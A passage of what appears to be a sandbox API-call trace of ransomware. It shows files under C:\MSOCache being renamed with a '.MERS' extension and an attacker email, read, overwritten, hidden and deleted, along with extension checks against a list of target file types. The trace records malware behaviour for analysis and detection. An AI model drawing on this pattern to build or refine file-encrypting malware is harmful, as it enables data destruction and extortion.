users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.924] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0047.925] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0047.925] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.925] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.925] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.096] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.096] ReadFile (in: hFile=0x1c4, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.117] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.117] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.117] ReadFile (in: hFile=0x1c4, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.187] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.187] WriteFile (in: hFile=0x1c4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0048.205] SetEndOfFile (hFile=0x1c4) returned 1 [0048.205] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0048.252] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.252] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.253] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.253] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.255] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.255] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.262] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0048.262] CloseHandle (hObject=0x1c4) returned 1 [0048.262] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.262] lstrlenW (lpString=".doc") returned 4 [0048.262] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.262] lstrlenW (lpString=".docx") returned 5 [0048.263] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.263] lstrlenW (lpString=".pdf") returned 4 [0048.263] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.263] lstrlenW (lpString=".xls") returned 4 [0048.263] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.263] lstrlenW (lpString=".xlsx") returned 5 [0048.263] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.263] lstrlenW (lpString=".ppt") returned 4 [0048.263] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.263] lstrlenW (lpString=".zip") returned 4 [0048.263] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.263] lstrlenW (lpString=".rar") returned 4 [0048.263] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.263] lstrlenW (lpString=".bz2") returned 4 [0048.263] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.263] lstrlenW (lpString=".7z") returned 3 [0048.263] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.263] lstrlenW (lpString=".dbf") returned 4 [0048.263] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.263] lstrlenW (lpString=".1cd") returned 4 [0048.263] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.263] lstrlenW (lpString=".jpg") returned 4 [0048.263] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.263] lstrlenW (lpString=".doc") returned 4 [0048.263] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.263] lstrlenW (lpString=".docx") returned 5 [0048.264] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.264] lstrlenW (lpString=".pdf") returned 4 [0048.264] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.264] lstrlenW (lpString=".xls") returned 4 [0048.264] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.264] lstrlenW (lpString=".xlsx") returned 5 [0048.264] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.264] lstrlenW (lpString=".ppt") returned 4 [0048.264] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.264] lstrlenW (lpString=".zip") returned 4 [0048.264] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.264] lstrlenW (lpString=".rar") returned 4 [0048.264] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.264] lstrlenW (lpString=".bz2") returned 4 [0048.264] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.264] lstrlenW (lpString=".7z") returned 3 [0048.264] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.264] lstrlenW (lpString=".dbf") returned 4 [0048.264] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.264] lstrlenW (lpString=".1cd") returned 4 [0048.264] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0048.264] lstrlenW (lpString=".jpg") returned 4 [0048.264] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.264] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0048.264] lstrlenW (lpString="Office32WW.msi") returned 14 [0048.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0048.265] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1992192) returned 1 [0048.265] CloseHandle (hObject=0x1c4) returned 1 [0048.265] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0048.265] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.265] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0048.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0048.266] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.266] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.266] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.329] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.329] ReadFile (in: hFile=0x1c4, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.352] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.352] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.352] ReadFile (in: hFile=0x1c4, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.388] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.388] WriteFile (in: hFile=0x1c4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0048.712] SetEndOfFile (hFile=0x1c4) returned 1 [0048.712] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0048.717] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.717] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.719] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.719] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.721] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.721] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.723] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0048.723] CloseHandle (hObject=0x1c4) returned 1 [0048.723] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.723] lstrlenW (lpString=".doc") returned 4 [0048.723] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.723] lstrlenW (lpString=".docx") returned 5 [0048.723] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.723] lstrlenW (lpString=".pdf") returned 4 [0048.723] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.723] lstrlenW (lpString=".xls") returned 4 [0048.723] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.723] lstrlenW (lpString=".xlsx") returned 5 [0048.723] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.723] lstrlenW (lpString=".ppt") returned 4 [0048.723] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.723] lstrlenW (lpString=".zip") returned 4 [0048.723] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString=".rar") returned 4 [0048.724] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString=".bz2") returned 4 [0048.724] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString=".7z") returned 3 [0048.724] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.724] lstrlenW (lpString=".dbf") returned 4 [0048.724] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.724] lstrlenW (lpString=".1cd") returned 4 [0048.724] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.724] lstrlenW (lpString=".jpg") returned 4 [0048.724] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.724] lstrlenW (lpString=".doc") returned 4 [0048.724] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString=".docx") returned 5 [0048.724] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.724] lstrlenW (lpString=".pdf") returned 4 [0048.724] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString=".xls") returned 4 [0048.724] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString=".xlsx") returned 5 [0048.724] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.724] lstrlenW (lpString=".ppt") returned 4 [0048.724] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.724] lstrlenW (lpString=".zip") returned 4 [0048.724] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.725] lstrlenW (lpString=".rar") returned 4 [0048.725] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.725] lstrlenW (lpString=".bz2") returned 4 [0048.725] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.725] lstrlenW (lpString=".7z") returned 3 [0048.725] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.725] lstrlenW (lpString=".dbf") returned 4 [0048.725] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.725] lstrlenW (lpString=".1cd") returned 4 [0048.725] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.725] lstrlenW (lpString=".jpg") returned 4 [0048.725] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.725] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0048.725] lstrlenW (lpString="setup.exe") returned 9 [0048.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.768] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1377656) returned 1 [0048.768] CloseHandle (hObject=0x218) returned 1 [0048.774] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0048.774] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.776] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.776] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.776] GetLastError () returned 0x0 [0048.776] ReadFile (in: hFile=0x204, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0049.276] WriteFile (in: hFile=0x21c, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0049.424] ReadFile (in: hFile=0x204, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x50588, lpOverlapped=0x0) returned 1 [0049.435] WriteFile (in: hFile=0x21c, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0049.443] ReadFile (in: hFile=0x204, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.443] WriteFile (in: hFile=0x21c, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.443] SetEndOfFile (hFile=0x21c) returned 1 [0049.443] CloseHandle (hObject=0x21c) returned 1 [0049.444] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.444] SetEndOfFile (hFile=0x204) returned 1 [0049.446] CloseHandle (hObject=0x204) returned 1 [0049.447] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0049.447] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0049.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.447] lstrlenW (lpString=".doc") returned 4 [0049.447] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.447] lstrlenW (lpString=".docx") returned 5 [0049.447] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.447] lstrlenW (lpString=".pdf") returned 4 [0049.447] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.447] lstrlenW (lpString=".xls") returned 4 [0049.447] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.447] lstrlenW (lpString=".xlsx") returned 5 [0049.447] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.447] lstrlenW (lpString=".ppt") returned 4 [0049.447] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.447] lstrlenW (lpString=".zip") returned 4 [0049.447] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.447] lstrlenW 